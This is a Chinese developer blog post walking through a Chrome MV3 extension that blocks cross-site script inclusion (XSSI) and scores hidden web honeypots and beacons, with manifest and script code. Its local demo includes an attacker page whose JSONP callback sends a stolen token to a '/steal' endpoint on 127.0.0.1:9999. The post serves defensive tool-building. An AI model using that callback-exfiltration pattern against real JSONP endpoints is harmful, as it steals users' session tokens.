news 2026/10/17 15:13:52

XSSI拦截与Web蜜罐识别:浏览器安全插件开发实战

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
XSSI拦截与Web蜜罐识别:浏览器安全插件开发实战

1. 为什么浏览器端的XSSI窃取和Web蜜罐识别值得专门做一个插件

做了几年Web安全评估之后,我逐渐意识到一个问题:真正容易出事的往往不是那些看起来高深的应用层漏洞,而是像XSSI、蜜罐识别这类“平时没人注意,一出事就是数据批量外流”的角落。XSSI即Cross-Site Script Inclusion,它利用了script标签天然跨域加载且不受同源策略限制的特性,让恶意页面有机会读取到受害站点返回的JSONP数据;Web蜜罐则是藏在页面里的陷阱,可能是隐藏的诱饵链接,也可能是采集浏览器指纹的探针脚本。这篇文章会从零基础开始,完整拆解一个同时具备XSSI拦截和Web蜜罐识别能力的浏览器插件,把模块设计、技术选型、代码实现、调参逻辑、常见坑位和排错流程全部讲清楚。不管你是刚开始接触浏览器安全的初学者,还是一直在跟爬虫、风控、前端监控打交道的开发者,这套方案都能直接落地复用。

1.1 XSSI攻击的本质:同源策略的“快递员漏洞”

同源策略是浏览器安全模型的基石,它要求页面只能读取同源(同协议、同域名、同端口)的接口和数据。但这个策略留了一个口子:script标签加载并执行外部脚本时,不受同源策略限制。这个设计的本意是让你能正常引用CDN上的jQuery、轮播图插件,但也正是这个口子让JSONP接口成了XSSI的重灾区。

举个具体场景:用户登录了站点A,A站某个接口通过JSONP返回用户的昵称、手机号、token等敏感信息。JSONP的原理是接口根据callback参数返回一段“回调函数包裹数据”的JS代码,比如cb({"name":"demo_user","token":"secret"})。攻击者在自己控制的B站页面上写一个script标签,src指向A站的这个JSONP接口,浏览器在加载时向A站发请求,自动带上A站的Cookie,然后把返回内容当作JS执行。此时B站页面上恰好有一个名为cb的全局函数,数据就直接落到了攻击者手里。

我用一个生活化的比喻:同源策略像小区门禁,正常访客需要校验身份才能进;但script标签像是带万能钥匙的外卖配送员,能进小区却不能进你家。如果你的“数据快递”就放在门口,取件码还写在包裹上(callback参数可控),配送员顺手就拿走了,整个过程门禁完全拦不住。

XSSI的实际触发条件通常有三个:一是接口返回的是可被当作JS解析的内容;二是请求携带用户凭证;三是callback函数名可预测或可被覆盖。三者只要同时成立,跨域读取数据就是几行代码的事。

1.2 Web蜜罐到底是什么:页面里的“隐形诱饵”

Web蜜罐是安全研究里很经典的诱捕思路,本质上是在网页中撒下一些“看着像正常功能、实则是陷阱”的元素,等着攻击者或自动化程序主动踩中,从而记录对方的IP、浏览器指纹、操作路径甚至攻击手法。

常见形态包括:隐藏链接(用display:none或1px尺寸藏起来的a标签)、诱饵表单(隐藏的输入框,专门诱导机器人填写)、探针脚本(在全局变量、DOM属性里预埋标记字符串)、信标请求(通过sendBeacon或fetch把采集到的指纹发送到收集端)。这类蜜罐在很多场景下是防御方主动布置的,但也有另一种情况:某个站点被植入恶意外链,页面里多了几个你看不见的陷阱钩子,普通用户的数据被默默采集。尤其是集成了大量第三方SDK的页面,开发者根本无法确认每个SDK到底在背后做了什么。

所谓“识别蜜罐”,就是要从用户端把这些隐藏的诱饵找出来:哪些元素是不可见的、哪些脚本在偷采指纹、哪些请求是外发的信标。识别的难点在于不能乱杀——正常页面里也有隐藏元素,比如移动端导航菜单里有很多display:none的选项,你不能一看到隐藏元素就报警。

1.3 为什么一定要做成浏览器插件

接口侧修复XSSI的思路是让JSONP接口增加CORS校验、校验Referer、禁用不安全的回调参数,但现实很骨感:历史遗留接口动辄上百个,跨部门系统协调一次可能需要好几个迭代版本;第三方SDK的接口你根本改不了。蜜罐识别更是如此,页面是别人渲染出来的,服务端扫描看不到运行时DOM里的隐藏陷阱。

这时候浏览器插件就体现出价值了。它站在所有Web流量的最后一级入口,能同时看到两个维度的信息:网络请求生命周期(请求怎么发的、响应带没带CORS头)和页面DOM运行态(元素可不可见、脚本在干什么)。这比网关侧拦截、服务端扫描都要贴近真实执行环境。对个人用户来说,装一个插件就是给自己的浏览器加了道兜底;对安全团队来说,插件可以批量下发到内网办公终端,形成一道轻量的客户端防线。

2. 插件架构与核心模块拆解

2.1 能力边界:拦截、识别、告警、规则管理

开始写代码之前,我先把这插件的功能边界定清楚,不然很容易做成一个什么都想管、什么都管不好的大杂烩。最终版本只做四件事:

  • 拦截XSSI:识别并阻止跨域script请求拉取无CORS保护且携带凭证的JSONP/JSON接口数据。
  • 识别蜜罐:通过DOM静态扫描和运行行为采集,对页面里隐藏元素、探针脚本、外发信标进行综合评分。
  • 告警与日志:可疑行为不只在控制台输出,还会进入popup面板,方便用户在几分钟内定位到具体是哪个页面、哪个接口出了问题。
  • 规则管理:拦截规则支持动态添加,同时有白名单可以排除正常业务,避免误杀。

这个边界决定了架构不能太复杂。插件分成四个模块:请求观察模块负责在后台监听script请求;规则引擎模块把可疑请求转化为阻断规则;DOM扫描模块在页面上下文分析DOM元素;行为采集模块通过注入到页面主世界的脚本捕获fetch、sendBeacon等行为。

2.2 技术选型:为什么是Manifest V3加declarativeNetRequest

Chrome扩展从MV3开始逐步淘汰了旧的Manifest V2,所以我直接用Manifest V3。这里有个非常关键的取舍:MV3里chrome.webRequest只能观察请求,不能再像MV2那样直接阻断或改写请求头。刚开始做方案时我也犹豫过要不要退回MV2,后来测试下来发现没必要,因为MV3提供了更合适的替代品——declarativeNetRequest。

declarativeNetRequest的玩法是把拦截规则声明式地交给浏览器内核去匹配,扩展本身不参与逐个请求的决策,这样做的好处是性能好、稳定性高,即使扩展后台Service Worker被浏览器回收,规则依然生效。缺点也很明显:规则必须遵循固定的语法,没法写任意JavaScript逻辑。所以我的整体思路是“webRequest观察学习 + declarativeNetRequest动态阻断”:观察阶段用webRequest收集可疑请求的特征,学习完成后再把特征转换成declarativeNetRequest规则加入后台。

content script这边,DOM扫描用普通的content脚本就能做,但行为采集需要更深入一层。Chrome 111以后支持world: "MAIN"属性的content script,可以把脚本直接注入到页面主世界,重写fetch和sendBeacon时不会被页面自身的沙箱隔离挡住。

2.3 整体协作流程:一条数据怎么从发现到被阻断

整套插件的协作可以概括成一条链路:

  1. 后台Service Worker用webRequest监听所有type为script、xmlhttprequest、other的请求。
  2. 分析请求URL里的callback/jsonp参数、响应头里有没有Access-Control-Allow-Origin、发起方和请求方是不是跨域,命中条件就把样本存进storage,并在popup里显示“疑似XSSI”。
  3. 用户确认或者按预设策略自动确认后,后台把URL转换成declarativeNetRequest规则,添加为动态规则。
  4. 浏览器内核在后续请求中直接命中规则,阻断加载,页面上出现net::ERR_BLOCKED_BY_CLIENT。
  5. 与此同时,content脚本在DOM层做蜜罐特征扫描,发现可疑信标后通过runtime消息通知后台,后台再为对应的域名补一条临时阻断规则。

这几步看似简单,实际落地时每一步都有不少要抠的细节,接下来的篇幅就按这个链路把代码和参数讲透。

3. XSSI拦截:从请求学习到动态阻断的完整实现

3.1 如何判断一个script请求是“可疑”的

判断不能拍脑袋,我总结了一套组合条件,同时满足两条以上才进入疑似队列:

  • URL特征:请求URL里带callback、cb、jsonp、jsonpcb、jsonpCallback这些典型的JSONP参数名;或者带output=json、format=json这类暴露出接口返回纯数据格式的参数。
  • 跨域特征:请求URL的host和发起页面(initiator)的host不一致。
  • 缺少CORS头:响应头里没有Access-Control-Allow-Origin字段,或者有字段但值为*且请求携带了Cookie。
  • 携带凭证特征:请求的cookie字段非空,说明这个接口在识别用户身份,返回内容一旦可以被script执行,数据价值就很高。

单纯依靠URL参数判断会有一堆误报,我自己测试时发现很多正常的埋点脚本路径里就带cb参数,所以我又加了一条硬性条件:疑似请求的响应必须能被当作JS执行,而且URL里存在可控制的回调函数名。这个条件没法在观察阶段百分之百确认,只能读取响应体前几百字节做快速匹配,或者学习阶段多积累几个特征样本再决定要不要阻断。

3.2 declarativeNetRequest动态规则的代码实现

先看manifest.json,这是MV3扩展的入口配置:

{ "manifest_version": 3, "name": "XSSI Guard & Honeypot Detector", "version": "1.0.0", "description": "拦截跨站脚本包含,识别Web页面中的蜜罐组件", "permissions": [ "webRequest", "declarativeNetRequest", "storage", "scripting", "alarms" ], "host_permissions": [ "<all_urls>" ], "background": { "service_worker": "background.js" }, "content_scripts": [ { "matches": ["<all_urls>"], "js": ["content.js"], "run_at": "document_start" }, { "matches": ["<all_urls>"], "js": ["injected.js"], "run_at": "document_start", "world": "MAIN" } ], "action": { "default_popup": "popup.html", "default_title": "XSSI & Honeypot Detector" } }

background.js的核心是监听加载完成的script请求,把可疑样本送进待确认队列,确认后转成动态规则。

// background.js const SUSPECT_HISTORY_KEY = "xssi_suspect_history"; function isCrossOrigin(details) { try { const urlHost = new URL(details.url).host; const initiatorHost = details.initiator ? new URL(details.initiator).host : ""; return urlHost !== initiatorHost; } catch (e) { return false; } } function matchesJsonpPattern(url) { return /(?:callback|cb|jsonp|jsonpcb|jsonpCallback)(?:=|%3D|%3d)/i.test(url) || /(?:output|format)=(?:json|jsonp|javascript)/i.test(url); } function missingCors(details) { const headers = details.responseHeaders || []; const hasAcao = headers.some(h => h.name.toLowerCase() === "access-control-allow-origin"); return !hasAcao; } chrome.webRequest.onCompleted.addListener(async (details) => { if (details.type !== "script") return; if (!isCrossOrigin(details)) return; if (!matchesJsonpPattern(details.url)) return; if (!missingCors(details)) return; const history = (await chrome.storage.local.get(SUSPECT_HISTORY_KEY))[SUSPECT_HISTORY_KEY] || []; history.push({ url: details.url, time: Date.now(), type: "xssi_suspect" }); await chrome.storage.local.set({ [SUSPECT_HISTORY_KEY]: history }); chrome.runtime.sendMessage({ type: "XSSI_SUSPECT", url: details.url }); }, { urls: ["<all_urls>"], types: ["script"] }, ["responseHeaders"]);

注意这里有个细节:MV3的webRequest虽然不能阻断请求,但读取响应头、监听完成事件依然是合法的,这是Google专门留给扩展做观测和审计的通道。把["responseHeaders"]作为第三个参数传给addListener,实际项目里一定要记得写,不然拿不到CORS头。

从URL生成规则时需要小心format转换,不能直接把完整URL塞进去当urlFilter。实践里我这么处理:

function toUrlFilter(url) { const u = new URL(url); const pathParts = u.pathname.split("/").filter(Boolean); if (pathParts.length === 0) return `||${u.host}/*`; const pathPrefix = pathParts.slice(0, 2).join("/"); return `||${u.host}/${pathPrefix}*`; } function hashCode(str) { let hash = 0; for (let i = 0; i < str.length; i++) { hash = (hash << 5) - hash + str.charCodeAt(i); hash |= 0; } return Math.abs(hash % 30000); } async function addBlockRule(url) { const filter = toUrlFilter(url); const ruleId = hashCode(filter); const rules = await chrome.declarativeNetRequest.getDynamicRules(); if (rules.some(r => r.id === ruleId)) return; const rule = { id: ruleId, priority: 1, action: { type: "block" }, condition: { urlFilter: filter, resourceTypes: ["script"] } }; await chrome.declarativeNetRequest.updateDynamicRules({ removeRuleIds: [ruleId], addRules: [rule] }); }

这里生成规则ID时必须用稳定哈希,不能用随机数,否则同一规则会被重复插入,动态规则数量会冲上5000的上限。urlFilter我特意只取路径前两段,而不是整个路径,因为很多JSONP接口的路径后面跟着动态参数,匹配到底意义不大,反倒容易漏。

3.3 本地模拟环境实测:验证拦截到底有没有用

只看代码不跑一遍没有说服力。我搭了一个完全在本地的双站点模拟环境:A站作为被攻击方,B站作为恶意页面。A站用Express写了一个最典型的JSONP接口:

// A站代码,监听8000端口 const express = require("express"); const app = express(); app.get("/api/user", (req, res) => { const cb = req.query.callback || "callback"; const user = { username: "demo_user", token: "xssi-token-7f8e9a" }; res.type("application/javascript"); res.send(`${cb}(${JSON.stringify(user)});`); }); app.listen(8000);

B站页面模拟攻击者的做法:

<!-- B站代码,监听8080端口 --> <html> <body> <script> function callback(data) { new Image().src = "http://127.0.0.1:9999/steal?username=" + encodeURIComponent(data.username) + "&token=" + encodeURIComponent(data.token); } </script> <script src="http://127.0.0.1:8000/api/user?callback=callback"></script> </body> </html>

没装插件时,打开B站页面,A站返回的callback({"username":"demo_user", ...})会作为JS执行,token被拼到图片URL里发往9999端口,开发者工具里能看到这条外发请求。装插件之后,后台webRequest观察到一个跨域script请求,URL带callback参数且响应无CORS头,于是进疑似队列。等我在popup里点了确认,动态规则写入,刷新B站页面,控制台只剩一条net::ERR_BLOCKED_BY_CLIENT,图片请求不会出现,token成功截住了。

这个实验要说明一点:所有站点都跑在127.0.0.1不同端口,数据全是假造的,纯粹用于验证插件防御链路。真实场景下你不需要自己去复现攻击,只需要理解拦截链路是通的。

3.4 误杀控制:宁可漏掉,不要误伤

XSSI拦截最大的敌人其实是误杀。我在调整规则时踩过两次比较深的坑:一次是规则生成时把整个域名都匹配了,结果该域名下的正常业务脚本全被拦截,页面白屏;另一次是白名单没配置好,某站点的第三方统计脚本和正常业务接口共用同一个路径前缀,误伤了一片。

控制误杀的经验可以总结成四条:

  • 规则粒度优先匹配路径前缀,不要用完整域名兜底。虽然声明式规则不能写复杂逻辑,但路径前缀已经把范围收窄了很多。
  • 学习阶段只记录不阻断。即使在自动模式下,也要设置一个观察期,同一URL连续出现多次疑似记录且响应体明确包含JSONP特征时,才真正生成阻断规则。
  • 给正常页面加白名单。可以用excludedInitiatorDomains把自己信任的运营后台域名排除掉,也可以在插件配置页手工添加。
  • 高优先级白名单规则覆盖阻断规则。我留了一个静态规则文件的入口,遇到确实需要放行的请求时,直接在静态规则里声明“允许”,优先级设为100,会覆盖普通动态规则的阻断。

这个“宁慢勿错”的思路贯穿整个插件设计,尤其在做自动化风控类工具时特别重要。一旦误杀影响到正常业务,就再也没人敢用你的插件了。

4. 蜜罐识别:DOM特征扫描与行为评分的完整方案

4.1 四类最常见的蜜罐组件长什么样

蜜罐的形态虽然五花八门,但归结起来逃不出四类。第一类是隐藏容器:藏在display:none容器里的a标签、宽高为1px的iframe、通过绝对定位偏移到屏幕外的按钮,它们从视觉上完全不可见,却能被自动化脚本点击或跳转。第二类是诱饵表单:页面里有隐藏的input,name可能是email、homepage这类容易诱导填写的字段,机器人一旦自动填写就会触发服务端的蜜罐记录。第三类是脚本探针:在全局对象上挂了一些特殊标记,比如window.hny = true、document.body.dataset.honeypot = "1",或者脚本内容里出现honeypot、beacon、canary、trap这类关键词。第四类是外通信标:页面在加载过程中悄悄调用navigator.sendBeacon或fetch,把采集到的浏览器指纹发往某个不相关域名。

这里要注意,不能一看到隐藏元素就断定是蜜罐。正常页面移动端导航的菜单项在桌面端就是隐藏的,我们识别的是“不可见 + 外链 + 可交互”的组合特征,而不是单纯的特征匹配。

4.2 content脚本里的静态扫描逻辑

静态扫描的核心是遍历DOM节点,提取特征信号。我写的content.js核心逻辑如下:

// content.js const HONEYPOT_KEYWORDS = /honeypot|beacon|canary|trap|hny|hney|decoy/i; function isEffectivelyHidden(el) { if (!el.isConnected) return false; const style = window.getComputedStyle(el); if (style.display === "none" || style.visibility === "hidden") return true; const rect = el.getBoundingClientRect(); return rect.width <= 1 && rect.height <= 1; } function scanStaticDom() { const signals = []; document.querySelectorAll("a, iframe, input, button, div").forEach(el => { if (!isEffectivelyHidden(el)) return; const tagName = el.tagName.toLowerCase(); if (tagName === "a") { const href = el.getAttribute("href") || ""; const isExternal = /^https?:\/\//.test(href) && new URL(href).host !== location.host; if (isExternal && (el.textContent || "").trim()) { signals.push({ name: "hidden_external_link", weight: 20, evidence: el.outerHTML.slice(0, 200) }); } } if (tagName === "iframe") { const src = el.getAttribute("src") || ""; if (src && new URL(src).host !== location.host) { signals.push({ name: "hidden_cross_origin_iframe", weight: 30, evidence: src }); } } if (tagName === "input" && el.type === "hidden") { const name = (el.getAttribute("name") || "").toLowerCase(); if (/email|phone|homepage|url|website/.test(name) && el.value) { signals.push({ name: "honeypot_form_field", weight: 15, evidence: name }); } } }); document.querySelectorAll("script:not([src])").forEach(script => { if (HONEYPOT_KEYWORDS.test(script.textContent)) { signals.push({ name: "inline_script_keyword", weight: 25, evidence: script.textContent.slice(0, 200) }); } }); return signals; }

关于isEffectivelyHidden有个细节我必须强调:document.documentElement.style和element.offsetParent在某些动态渲染的单页应用里不可靠,我最终选用了getComputedStyle加getBoundingClientRect的组合,并且在元素不在DOM树(isConnected为false)时直接跳过,这一项排除了大量误报。

静态扫描只在document_idle后跑一次还不够,单页应用会持续往DOM里插节点,所以我用MutationObserver监听动态添加的节点,在防抖500毫秒后对新增节点做同样的扫描:

let debounceTimer = null; const observer = new MutationObserver(mutations => { if (debounceTimer) return; debounceTimer = setTimeout(() => { debounceTimer = null; const signals = scanStaticDom(); if (signals.length > 0) { chrome.runtime.sendMessage({ type: "HONEYPOT_SIGNALS", signals }); } }, 500); }); observer.observe(document.documentElement, { childList: true, subtree: true });

还有个点,条件编译器的代码风格不重要,但运行时性能一定不能拖垮页面。我在一台配置普通的开发机上测试过,全页扫描加MutationObserver回扫,平均耗时在40到80毫秒之间,用户基本无感知。

4.3 行为指纹采集:在主世界拦截sendBeacon与fetch

DOM静态扫描能发现隐藏陷阱,但抓不到“脚本在暗地里发信标”的行为。这部分需要在页面主世界注入钩子。Manifest里第二个content script配了"world": "MAIN",injected.js是这样写的:

// injected.js —— 该脚本运行在页面主世界 const BEACON_REGEX = /beacon|honeypot|pixel|collect|tracker/i; const originalFetch = window.fetch.bind(window); window.fetch = function(input, init) { try { const url = typeof input === "string" ? input : (input && input.url); if (url && BEACON_REGEX.test(url) && !window.__HONEYPOT_DETECTOR_ALLOW__) { window.postMessage({ type: "HONEYPOT_BEACON", url, source: "fetch" }, "*"); } } catch (e) {} return originalFetch(input, init); }; if (navigator.sendBeacon) { const originalSendBeacon = navigator.sendBeacon.bind(navigator); navigator.sendBeacon = function(url, data) { if (typeof url === "string" && BEACON_REGEX.test(url)) { window.postMessage({ type: "HONEYPOT_BEACON", url, source: "sendBeacon" }, "*"); } return originalSendBeacon(url, data); }; }

在MAIN world注入的魅力在于,钩子不会被打包工具生成的IIFE作用域隔离,页面里任何脚本不管怎么调用fetch、sendBeacon,都会被这个钩子捕获到。然后content script通过window.addEventListener("message", ...)收到消息,再做告警层展示。

我实际用下来发现一个痛点:很多正常页面也把统计脚本路径叫作pixel,比如广告像素。这时候不能一看到pixel就报警,而是结合静态扫描的信号,确定页面里同时存在隐藏元素、隐藏iframe,才把信标请求判为蜜罐外发。

4.4 评分模型:多个信号怎么加权成一个结论

单一信号不足以定性,所以蜜罐识别到了一个综合评分环节。我定义了一个信号表,每个信号按重要性给权重:

信号名称权重命中条件
绑定跨域隐藏链接20隐藏容器内存在指向外部域名的有效链接
隐藏跨域iframe30iframe宽高小于等于1px且src为外部域名
蜜罐表单字段15隐藏input的name包含email/honeypot等字段且已有值
内联脚本关键词25内联脚本内容命中honeypot/beacon/trap等关键词
外发信标请求35检测到fetch/sendBeacon指向beacon/collect类路径
域名信誉低分20目标域名注册时间短或未通过基础信誉查询(可配置)

总分达到60分才判定为蜜罐页面。这个阈值不是拍脑袋定的,我后来在几十个模拟样本上做过统计:正常站点里即使有隐藏菜单和统计脚本,总得分通常只有20到30分;而故意埋了探针的蜜罐页面,得分基本都超过70分。阈值取60分刚好处于两者的分界线,留了一定余量,同时又不会把明显的蜜罐漏掉。

4.5 两个模块的联动:蜜罐信标也能触发XSSI拦截

两个模块单独跑只能算两个工具,真正有价值的是联动。比如这样一个场景:一个第三方嵌入脚本先出现在隐藏iframe里,这个iframe又加载了另一个站点的JSONP接口,接口返回的数据被用来构造采集信标。单看XSSI模块,这是一个可疑的跨域script请求;单看蜜罐模块,这是一个隐藏iframe加外发信标。合起来判断,基本上可以确定页面里存在一个完整的蜜罐探针链路。

实现联动的方式不复杂:蜜罐模块检测到跨域隐藏iframe和信标请求后,会把目标域名发给后台,后台对这个域名的script请求执行“短时观察”,如果再叠加JSONP特征,就直接升级为阻断规则。这个过程不需要用户手动确认,因为蜜罐信号本身已经满足较高的置信度。

5. 调试实录:常见问题与排查速查表

5.1 插件部署和日志查看的基础步骤

调试任何浏览器插件的第一步都是把日志链路打通。开发模式下将整个目录拖进chrome://extensions,点开“Service Worker”,能看到后台日志;页面本体则打开DevTools的Console和Network。我在background.js里故意留了几个console.log输出点,包括“疑似XSSI样本进队列”“动态规则添加成功”“蜜罐信号上报”三步,这样出现问题时能立刻判断断在了哪一环。

具体的部署步骤:打开Chrome的扩展管理页面,开启右上角的“开发者模式”,点击“加载已解压的扩展程序”,选择插件目录,图标会出现在工具栏。点击插件图标打开popup面板,可以看到待确认的XSSI嫌疑列表和本轮页面的蜜罐评分。面板数据全部来自chrome.storage.local,刷新页面不会丢。

5.2 常见问题速查表

现象排查方向解决方案
规则添加成功但请求还是放行urlFilter语法不对,或host_permissions未覆盖把urlFilter简化为`
脚本被误拦,页面功能白屏动态规则匹配范围过宽检查规则urlFilter是否精确到路径前段;在配置页添加白名单域名
动态加载的脚本没进疑似队列请求type不是script,而是other或xmlhttprequestwebRequest监听types里同时加上xmlhttprequest和other
Service Worker休眠后规则失效MV3机制下SW可能被回收动态规则不依赖SW运行,但添加新规则时需要SW存活;用alarms定时唤醒,或把关键规则固化到静态规则文件
页面里看不到蜜罐告警content script注入太晚,页面脚本已经跑了将content script的run_at改为document_start;MAIN world的injected.js必须放对文件路径
fetch钩子不生效页面在document_start之前就劫持了fetch确认world为MAIN;确认扩展权限为<all_urls>;调试时在页面顶端加一个断点验证注入顺序

其中“Service Worker休眠”是最容易忽略的坑。MV3的Service Worker会在几秒不活动后被回收,下次再触发事件时重新启动,但重启后内存里的变量都没了。所以凡是关键规则,我都建议写成静态规则文件的一部分,而不是只靠动态规则。动态规则只用来处理那些运行期新发现的、需要快速响应的样本。

5.3 一个典型的误报排查流程

有次在一家做在线文档编辑的模拟项目里测试,插件突然把所有脚本都标成了疑似XSSI,控制台刷屏。打开待确认队列一看,全是同一个内部接口的script请求,路径里带着cb=1参数。问题出在matchesJsonpPattern只匹配了字符串,没考虑到cb=1这个参数可能是布尔开关,而不是JSONP回调函数名。

排查过程是这样的:先把日志打开,看webRequest的输出,确认这些请求的URL特征,发现cb后面跟的数字是1或者0,不是函数名;再看响应体,响应前缀是{"status":0,"data":...},也不是可执行的JS语句。这就说明它根本不可能被当作JSONP执行,于是把matchesJsonpPattern改成:cb后面必须跟一个合法的JavaScript标识符或带括号的函数表达式,才进入疑似队列。改完再跑,误报归零,正常业务脚本都放行了。

这个案例给我的教训很直接:特征匹配不能只看参数名,要结合响应是否真的可执行来判断。静态URL特征只能作为门槛,不能作为定性标准。

5.4 规则数量上限与清理策略

declarativeNetRequest动态规则有数量上限,默认是5000条。你以为5000很多,实际上一旦urlFilter生成得不严谨,两三周就能被各种变体占满。更新动态规则时会因为超限抛错,但错误信息很隐蔽,不容易被注意到。

我的清理策略是每天用alarms触发一次后台任务,检查storage里的历史规则,超过30天未命中任何请求的规则直接移除。移除前先统计一下getDynamicRules里的规则列表,免得不小心把重要的规则也清了。代码里加个标识字段,规则ID稳定性这时候就显出好处了:同一URL的规则ID通过hash生成,重跑不会重复插入,清理时也能快速定位。

关于阈值参数,我还留了两个可配置项:confirmBeforeBlock决定是自动阻断还是弹窗确认;honeypotThreshold决定蜜罐评分阈值。基本思路是初装用户先用观察模式跑一两天,确认没什么误报了再切自动阻断,这种灰度策略比一上来就全自动稳妥得多。

写在最后的几点实际体会

整套插件做完,我最大的感受是:XSSI和蜜罐识别这两件事难的地方都不在技术本身,而在于怎么跟误报斗争到底。拦截脚本请求用declarativeNetRequest几十行就能搞定,但让它不误伤正常业务,前前后后调了好几轮特征。蜜罐识别更是如此,隐藏元素在正常站点里太常见了,只有同时结合DOM上下文、网络请求、行为指纹三个维度的信号,才能把结论做得可靠。

还有一点想提醒所有准备照着做的人:插件的能力边界要克制,不要想着既做XSSI拦截、又做蜜罐识别、还顺带做广告拦截。我早期版本混入了一堆无关规则,结果规则数量暴涨,查日志时根本分不清是哪个模块产生的告警。把XSSI和蜜罐识别做成两个清晰的模块,消息协议走同一套告警格式,扩展性反而更好,后续加威胁情报接口、加远程规则下发都方便。如果我现在继续在这个方向上迭代,第一件事就是给蜜罐信誉库接上外部威胁情报,让域名信誉分不再依赖手工维护的静态列表。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/17 15:12:57

防火墙配置实战:吃透方向、顺序与状态检测

我第一次给公司做防火墙配置的时候&#xff0c;差点没被业务部门骂死。当时我把规则写得又多又全&#xff0c;结果第二天好几个部门反映无法访问内部系统&#xff0c;查了一上午才找到原因——一条访问控制规则的源和目的写反了。后来我想明白一件事&#xff1a;防火墙配置的难…

作者头像 李华
网站建设 2026/10/17 15:12:52

防火墙与入侵检测联动实战:从规则配置到自动阻断的闭环防护

老规矩&#xff0c;实验课结束当晚把记录整理出来。这次的实验七和以往不太一样&#xff0c;它把防火墙和入侵防护放到了一起做&#xff0c;而不是像前几次那样单独验证某个功能点。这其实是刻意设计的——现在实际的网络环境里&#xff0c;单纯靠防火墙或者单纯靠IDS已经很难撑…

作者头像 李华
网站建设 2026/10/17 15:12:09

金蝶EAS二次开发实战:BOS单据建模与报表开发核心指南

1. 项目概述与整体思路1.1 核心需求解析做金蝶EAS二次开发的人&#xff0c;应该都有同感&#xff1a;这个平台的资料少、坑多、官方文档偏理论&#xff0c;很多细节不实际跑一遍根本不知道。我这些年陆陆续续做了不少EAS相关项目&#xff0c;从单据新增、业务逻辑扩展、报表开发…

作者头像 李华
网站建设 2026/10/17 15:12:04

前端序列化与反序列化:JSON边界与安全序列化工具实战

前阵子在处理一个全局状态持久化的需求&#xff1a;用户在多标签页之间来回切换&#xff0c;我得把整个应用的关键状态存到本地&#xff0c;刷新后还得原样还原现场。刚接手时图省事&#xff0c;直接JSON.stringify(state)加JSON.parse&#xff0c;跑完一看&#xff0c;Date 变…

作者头像 李华
网站建设 2026/10/17 15:07:58

基于MobileNetV3的动物声音分类识别系统实现与部署实践

毕设选题年年都有&#xff0c;但真正能落地、有技术深度、还能拿得出手展示的&#xff0c;翻来覆去就那么几个方向。今天聊的这个题目&#xff0c;是基于MobileNetV3架构的动物声音分类识别与应用系统实现。这个题目我在带学生做项目时反复推荐过&#xff0c;从技术路线、训练效…

作者头像 李华
网站建设 2026/10/17 15:07:47

密钥轮转、SPIFFE零信任与CKKS同态加密工程落地实战

简介&#xff1a;本资源是第18届国际密码学会议Inscrypt 2022&#xff08;北京&#xff0c;2022年12月&#xff09;的修订精选论文集&#xff0c;聚焦密码学与网络安全前沿交叉领域&#xff0c;特别适用于从事学术研究、安全开发及区块链底层技术探索的中高级技术人员。内容涵盖…

作者头像 李华